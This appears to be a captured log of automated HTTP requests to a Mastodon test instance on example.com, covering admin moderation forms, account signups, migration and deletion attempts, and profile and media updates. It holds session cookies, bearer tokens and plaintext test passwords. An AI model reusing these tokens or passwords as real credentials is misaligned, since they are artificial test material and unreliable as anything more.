text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6MzUuMzI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c193e35a90817b92566d80a924c0bf0f34ce566c; _mastodon_session=8MiaObsBMtlRgRHBurcPb7QSbRRtJjMEXfkPo3LD9R23rwYei6HrRuMePCzdAO6Y44E7rb1O49NCGYsW0Trd6X7498h5aIzfJKAKhxKnU7JGZv3hAGtIp%2F0tN5J%2FzH7ZQ5uzkMnrz3QEW7Mqx1WoP%2Bib3TZ23BzHNINKtDLfFyKk%2FFkQ9MpFTme6TlQSogMQNs3kIye%2B7F0%2Fr3RU5t%2Bpzt9GDq%2Bsc14q%2F26%2BYj9QPEm1rvqdA4gcP1%2FB%2FGzf%2FbL5pgPt3hHxykyUSAIwXLvezN5sfdY624ml61tbgn3ZIg4w2PhTTnwqf1XXC15VtBCdG1UabD1bUJIFLUbJdO2Y63ZN6ozdbpFlzyYP9qnVuWN%2FR%2F7eLFfAamqQ2CWubEqB2CHcCWDxraZ6--xuw7TJSMgseyu8O2--FLrKb7uoCwkgLRR0ab6Jdw%3D%3D"], "body": "authenticity_token=j1KVAsW12m0HhrCGydlDRscSfYrqWuRTCpkjRqPgM8jZ9_D1DVrV3LyitsuBNTWPA13OBzFKtZHMiVnSqFg3pg&account_moderation_note%5Btarget_account_id%5D=117589807710501347&account_moderation_note%5Bcontent%5D=Warned+about+posting+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts.&button="}
{"method": "POST", "target": "/admin/warning_presets", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 334", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/warning_presets", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6NDAuNTMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--561ffd6b285af147d70a324b0d9397869527285e; _mastodon_session=aQl2iWwBeEKUCN4dcQsFpKgtDYktofncahEocmkPbgM3cbQkNobKIbWYZEgbjeLmPe5PC7O9zpY5Ie%2BL5qbRIVRUpNdSdlVU%2FOAIjtMfIsTzjaZiEFN%2BfzseluwaWfBUiazW0vWtKxY8zRGBQaw3bAfJTZ9lHOFm9yS8wi2%2Fp15t5DW%2FPODkCXtDrRHYkR5KJ%2BFbnkYgMhBjs40VWKs7ZtBvk2Y0c9melqc9tEwbyqP8ubvWzZa3R%2BgK7V9X1PYNbZ%2FVlMKUIWYlcZK35%2BhxGaN2ZXA6230Z1VkIfMhdLVXmUpyUFnin1RWcUbvk%2FEPVlQi5tINEST4DJPYJai2iV5iFIEAoTKVQbt8u%2FVCYPwtfBZ561KSpKV7wJY6hbRrjfQe9mAw3wzlu--FI8tDBlxbbZ2d4vP--obAulotL87sJgqynhDc5YA%3D%3D"], "body": "authenticity_token=wpT7XOXRAfEXTj199M0ipX9FtC2WK0rB8FEXreHJp9s_XYsClxsLzJS9YAgEyy0wY6E_sno6ufzX7MzGwAxtLw&account_warning_preset%5Btitle%5D=Scripts%3A+python3%2C+powershell%2C+ls+-la+and+.htaccess&account_warning_preset%5Btext%5D=Please+do+not+post+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts+that+harm+other+people.&button="}
{"method": "POST", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 593", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/roles/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6NDguMTMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--672408b9ca1e1e175a4fa18a0ff2600e6cd8a2e2; _mastodon_session=zLr4TCzcntoRMj35DCGYVDJ5LjZ6JVY1jdPgulvX5B54hMbQT%2FNbZJilzzH0iDgMo4EZqcZaExn9zUrmxAckPnyOY7HwgIUEHi53q6R09oVgBjNliIvQOg4t5hmKArE3hw7ezQSyEvZ9GFgzHWn232cHXlzCuoQTv4PhbdyxP2Q8cSrhsCotSc02qjDOLWkpBHBjUhDis5%2FdITa21K18a%2BiwGokW2axrAAleiPQ%2FBNuLAAW5ATd3wrN4TEH%2B5xKv5pF2BO%2F%2BAOvTnJHrgFteov7mpVRXv1HOlZRRlOpABGsRvKnqsj8D0dLSnFkmQqCpsrSaqBNhsKkePGxh2TRrJpLVZTtam5UcubBcxJhvA%2FY66PVAQu0fy4We%2FjFfrPh1D%2FnF%2FbisG8eX--OUo13EyghWkS5PpL--1x3nDqiKtc%2BSVf1x1U2OIg%3D%3D"], "body": "authenticity_token=Q3cLyZYIkOgxnyeFacZyqXmWTgwmqF17J3qTlYkNqmwVyYhVIvEVMubnKdHsF7C8O2PNi0qJOu8-pFFLiSZ--w&user_role%5Bname%5D=Helpers+for+python3%2C+powershell%2C+ls+-la+and+.htaccess&user_role%5Bposition%5D=0&user_role%5Bcolor%5D=%23000000&user_role%5Bhighlighted%5D=0&user_role%5Brequire_2fa%5D=0&user_role%5Bcollection_limit%5D=10&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&button="}
{"method": "POST", "target": "/admin/terms_of_service/draft", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 509", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/terms_of_service/draft", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDk6MDAuMzc2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ac3b4cbea5fc9179a2634a398ff3fbc7afff0af1; _mastodon_session=3gwAOjwR7Hiabs%2BXY5%2FCxmSJJoJ4eIVs3o9RkTpRwr1oUGV3mmu1XD6lUX4%2FsyfKFiBDfjL9uXSwM5GqCMgJTPVEe1vw1jRPYCmi%2BOge7ZQFIzDz2nTgY4o%2FMMcnKEYNkxX6qsG%2FFsQUDJxqAgIVrC9cKZDlJ4fZND1Tm5b6tSDYp7EvslxHLj46VX03l%2FG9HPILQ1nQU%2F53IEk2BGCjG%2Bo2oBpQ9G2TMBd9IV%2Bib4IyJHNiiDJHlZCfY%2BIO39oL9KJef62xZcyF0E5xP2lRZzPcHjowmWu0SCW72YfesLMlKf03kuAvocBqL8hqBJmRzxC0G%2Brc6Gxk2T0scYBlXIrVyUWoY3AYRVsELm0uXzL2vEI9IOOxdRYbkXYORdSrpon%2FngnKSzKP--7PvVUgLBNDoi7FK0--uYakctRiP8H%2FkjTvrNel3Q%3D%3D"], "body": "_method=put&authenticity_token=YTIrw7CnZdYERgu0NJqV5O4_tMAnqeFodDlTBVu2w0Q8ulivnDdoszyAwvEZOep5sAHUTtsVcyaHrU0BzD1WEw&terms_of_service%5Btext%5D=Do+not+post+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts+that+harm+other+people.&terms_of_service%5Bchangelog%5D=Added+a+rule+about+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts.&terms_of_service%5Beffective_date%281i%29%5D=2026&terms_of_service%5Beffective_date%282i%29%5D=11&terms_of_service%5Beffective_date%283i%29%5D=20&action_type=save_draft"}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 559", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=NglnaxnLFMVlf5ZAunGS0fFRqi5AJCjW4eeXYmjovqWlIzK1xoBbJJF0g06UbGPopY43%2F7NUq3Djl6IqqTlceUnrMkD72K0T9o38nWnrKVH7ZXZYc8L8Fa7%2BL0%2BGj17Oec96wM47erzx54rTfcF%2FVCT0jymUhqqZ6zvVAYvf9nXTQ7sohN5BsAqnJxjQn%2FjqRME%2FzfAa%2FIQnIp2UrfubVtT0SyQPu1wmnXAQJKhufLZ%2BVYL0%2FaPsNmwccfJB4MYGwEPLrWuv5WutoqJKjBF5Bu5ysSuPwV54Bu6FNF3WIUH%2BCfihnt2%2BMzYyjUHqRUrweN%2F2mUBtD9IuvvZfWSdxjKpMNwFcWwUee188bqvte6uNbyQg24K3T4a48NW9--PAr42Iv8Qh4Q%2F1OP--Cg7%2Fq7D4I6JJUSN8RbVbfg%3D%3D"], "body": "authenticity_token=9ftdYZLUt7oUyL7IuGz-VW58G1kmeQ6SZm0PM3MIksgwu74RMqvDwD9xa4UKZFpETI6LE2QGJgoIwR0VzTVX-Q&user%5Baccount_attributes%5D%5Busername%5D=python3&user%5Bemail%5D=walker.three%40example.com&user%5Bpassword%5D=python3+powershell+ls+-la+.htaccess&user%5Bpassword_confirmation%5D=python3+powershell+ls+-la+.htaccess&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=I+write+about+python3%2C+powershell%2C+ls+-la+and+.htaccess.&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 561", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=2FZKvKNQ2m7%2FRKQQ6G01rECetZjH6uow7M%2FKkDrwQhJ95Z6iev8OGRqnS6mLFVrdN%2BumyjJ7%2BwGbbgHiBmoRWJI4%2Fm7R1rBsp9fmLfVUNi2yEVMW%2BbNWuRVs9T0DRArzh9xLGEqRQzzbcjAz4ibLWWUKf2521pVapDRptptqbP3PiWYGo%2Bh3pb5rBNQ%2FCoP02Q3nTM%2BuUdOwBe8D%2BNhMgu6wf8T2mS9AdCRJhHTLg595SkQ6yUT8PXAujS6EUia%2FfcYHruYbiZzGHBZvY3RIyFItcY9uEe1yelFNFHTPnWyakX7HMEesVPYUpD5T0pFhD3ZYFBGvd0JvBTqGyIs1nVuaPej01iz8GSogs0jPETBz%2FQMMKF8AzTX4ftdv--7qUHdgydk0YKuoPs--wHHFUDqMYtBhHV%2FfnZoiPw%3D%3D"], "body": "authenticity_token=AGsWgFUWRkHf-If5pG-QkEiWW9afcJ-4Qzt8pcfBFgyuTkAhQXULAQC_niNIAjDm2FI5gDaeSmmYe5A7uAVbbg&user%5Baccount_attributes%5D%5Busername%5D=powershell&user%5Bemail%5D=walker.four%40example.com&user%5Bpassword%5D=python3+powershell+ls+-la+.htaccess&user%5Bpassword_confirmation%5D=python3+powershell+ls+-la+.htaccess&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=I+write+about+python3%2C+powershell%2C+ls+-la+and+.htaccess.&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 246", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NTA6NTIuNTUxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9a2ba682b9ef8647c01874fa9c6e02a34b8d2a23; _mastodon_session=oCl1ScElEesgfMt1Oqq0JxCk%2BRR1I7UYa0m3OuDBgMQrEXf9QAfmrXp0ApxWfuR66ZCKHPSll1SrN7RINLDihO%2BsXFalopd1rHsoiUeA8DitXZWzsT2OEoSw2m0UjajNAkukb5iLulNMwQ33Lb2PdvvE4YJcwDTvLT8Rp%2Bc1cOMD6mC%2FAowpj94Jo19EPZhP9AxyLzOr4JyRU7Eebvi7GbQUul8dF6g97LetrlYCdbGjvTG1jp53XL8fmtIVLQR7DTLqKKfZheuedq4jBr%2FLY3kiLIe6o8pYH1%2Fso6MB%2FZi77X3BFzMNiWwFFMLvN9pPtd6psZp%2FkEsXFI%2B7jK9F9yzBWBNSbkqfwKQHxIl2V0HRyEloZ2Y9B7D%2FuemBOgTNBKI9bzCX77RF--%2F6Y%2B2HuYNjac%2BuqW--vSQfMjjNEtEbgfO6hgmzig%3D%3D"], "body": "authenticity_token=9NzX4CJeJNh28E4NZypKtK7paQNdIkoCBfhNjmPkhrhtSJnoJ-s17ut0FPBstSRmE9wCdKJtH_E5kybjYk9IXg&account_migration%5Bacct%5D=carol%40remote.example&account_migration%5Bcurrent_password%5D=wrong+python3+powershell+ls+-la+.htaccess&button="}
{"method": "POST", "target": "/settings/migration/redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 238", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration/redirect/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NTE6MDEuMDY2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--49efc9c543ef26a29c1001a2884cb924d46b77ec; _mastodon_session=%2FVSMLdxIeDtT1KiLADO066GUlJM0O8dB97KKINddAwI%2BEgQUwD63d2SCVi1%2FYc4QtmWo89AZCJyhsCBy7lwzd09PEN7s57dPD9HQhznVnSx%2FRTd30L7Th5JsnZAiM6oiICVsKRZAKhhhv7vSkIR5vq11a7nx%2FuwWlI%2Fa0JZZz9cBQ205ed71FIRQnUWOME9rQ7edO5GJkTAyEqZ7%2FscoODji5m11m3QbDWRoV%2BZEfpII9s6j670xGZSM%2F%2Bkq%2BTwTqBRyDA4%2BHcANf288cNw7Col0X3vyFSP7oddd%2F4T6QY1mORO%2F%2FfZbcNYVPWxZP2CfMTb4kwDG5M4hn0n%2FHtGpBcqUa6OEvPo2X4pJe3Yw9FsTFvJDoAwp%2BUVWgrpRIh8ZPzALHudKCkT2--jSo8IxL7MN7CLkfc--0IxxuNjugNLNTjv%2F4Kx3MA%3D%3D"], "body": "authenticity_token=ox3XRZYbL-_XXKt3ZwrFpC0pf2KM7DOsQ2wLF3jQPb3QPu0vSgTGpWhYxLKEngZYJHoOX8kChAr2VmdwZv-hHg&form_redirect%5Bacct%5D=carol%40remote.example&form_redirect%5Bcurrent_password%5D=wrong+python3+powershell+ls+-la+.htaccess&button="}
{"method": "POST", "target": "/settings/delete", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 252", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/delete", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NTE6MDkuMDA3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6b7cb3ead34788a808d88df18d1523edf7f79504; _mastodon_session=Isfkwmm9wyDUAXY99lpsrmRkyEmleAXgSsWKV9c9auxameuaC%2FAVOAQ6GOuPyWzqMh2nGM3UdSJhdhSZeXIZKpQaWbXIoKDlV%2F59nbFB%2BEu0UDu3m6%2BWNtiI70tW0yIXpcpyJ8T3R3TvEwFaTFdyRCoZdUCCJs6MtgaEVE4VSMLnImxxCpvL7PruK3zY%2Faz%2BmJnsYdNVP4YJlEsE7wBOqS1FEH1oQJbfUJCMKGCTvRI7xQECNYoKTuNoO4VpxEzVkYpKxIhP311%2Fru9RtZKkt440a3kHPEl%2BDBqFs6d6Wr%2BMBQiV%2FmFJuGTo7yyQK5xaBXU7SCdtM6N6pa8JoYgwaa99XE6Qhc46lmuSywhatvqbcl%2FEbzN4yWyCYaBf3haJzLXS4%2BS5CjkI--Hf45B%2FqY7SVO6GI3--hIpK%2BY2PsRuMczDDa0h3OA%3D%3D"], "body": "_method=delete&authenticity_token=tGE8Y95GTANAgK1zl_lpt316LfAlkbtuN--tj_HmzlpsNzVFeYrlyXMkTSLvXW0x_FGu4FyJ4NSI0X2HQXLZXA&form_delete_confirmation%5Busername%5D=bob&form_delete_confirmation%5Bpassword%5D=wrong+python3+powershell+ls+-la+.htaccess&button="}
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Type: application/json", "Content-Length: 246"], "body": "{\"display_name\":\"python3 powershell ls -la .htaccess\",\"note\":\"Notes on python3, powershell, ls -la and .htaccess.\",\"fields_attributes\":[{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"}]}\n"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Length: 311", "Content-Type: multipart/form-data; boundary=------------------------NV7nwmuUZMQzjXshM4UEwZ"], "body": "--------------------------NV7nwmuUZMQzjXshM4UEwZ\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"Example .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n�PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000 \u0000\u0000\u0000 \b\u0002\u0000\u0000\u0000�\u0018��\u0000\u0000\u0000*IDATx�c8\u0011�AS�0j��\u0005�\u0016�Z0j��\u0005�\u0016�Z0j��\u0005�\u0016\f\u0015\u000b\u0000S\f\u0000L%jV�\u0000\u0000\u0000\u0000IEND�B`�\r\n--------------------------NV7nwmuUZMQzjXshM4UEwZ--\r\n"}
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer SpScyPs1_Cy60QMq93BGZk5ckrWfKbKN07lJz-lCC2A", "Content-Length: 186", "Content-Type: application/x-www-form-urlencoded"], "body": "username=python3_notes&email=notes%40example.com&password=python3+powershell+ls+-la+.htaccess&agreement=true&locale=en&reason=I+write+about+python3%2C+powershell%2C+ls+-la+and+.htaccess."}
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer SpScyPs1_Cy60QMq93BGZk5ckrWfKbKN07lJz-lCC2A", "Content-Type: application/json", "Content-Length: 209"], "body": "{\"username\":\"riverwalker\",\"email\":\"riverwalker@example.com\",\"password\":\"python3 powershell ls -la .htaccess\",\"agreement\":true,\"locale\":\"en\",\"reason\":\"I write about python3, powershell, ls -la and .htaccess.\"}\n"}
{"method": "PUT", "target": "/api/v1/media/117589930611612296", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 88", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: cHLohRLMISEgGIkSjmwNou0XjokvCgcD_ZBJvz1fyo7exC7CfxFrlZF0e0gfWcpOajJhWIjJuyj6QGt0oVj4ZA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDU6NDQuMzI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5c5457e36301d33acbca267fbfb8faddac5c6cff; _mastodon_session=I6deLP1IFoK8qFgwDtD4vaOwMVPbhUOxEYsyE3SMSYGskdw%2FLankj9nIyr4zwMmJqKtcmU8RMzG%2BvXp%2BliuWVX7t1%2FXR5MLNoHdZpOKP6pV%2FYtsglEeKHISTtGlOVSDgv%2F3c6QlUr49y2s1LkTYug%2Fuy7n1F5VUTTkYFAhzGPwgzO7Ld3HHO0PH%2FEor%2BYYXDKcZWJG2wAOJPltmB0TJNT32GUaFOUhTBjzVvxuOHw5pFa%2B620RWHHoSBMNfbdrCyZy6gEOuj64jOjyiWL9Hzp1pNNMxs7o1LKsxuHQhLHbUH8ourqvKs67FCJac6gUtRjrmsSDSm5jfHH8BGerPasvc0sI%2BO2RXw1Wtc%2BpnLdfS6jxMKKMAHpiQ8e3NrQeZnH2RZKKD9awtv--Q0Ng1e0B9gxvUXjn--Kr5l3Ji5CTluLty6zPgU%2BA%3D%3D"], "body": "{\"description\":\"python3 and powershell scripts that edit .htaccess\",\"focus\":\"0.00,0.00\"}"}
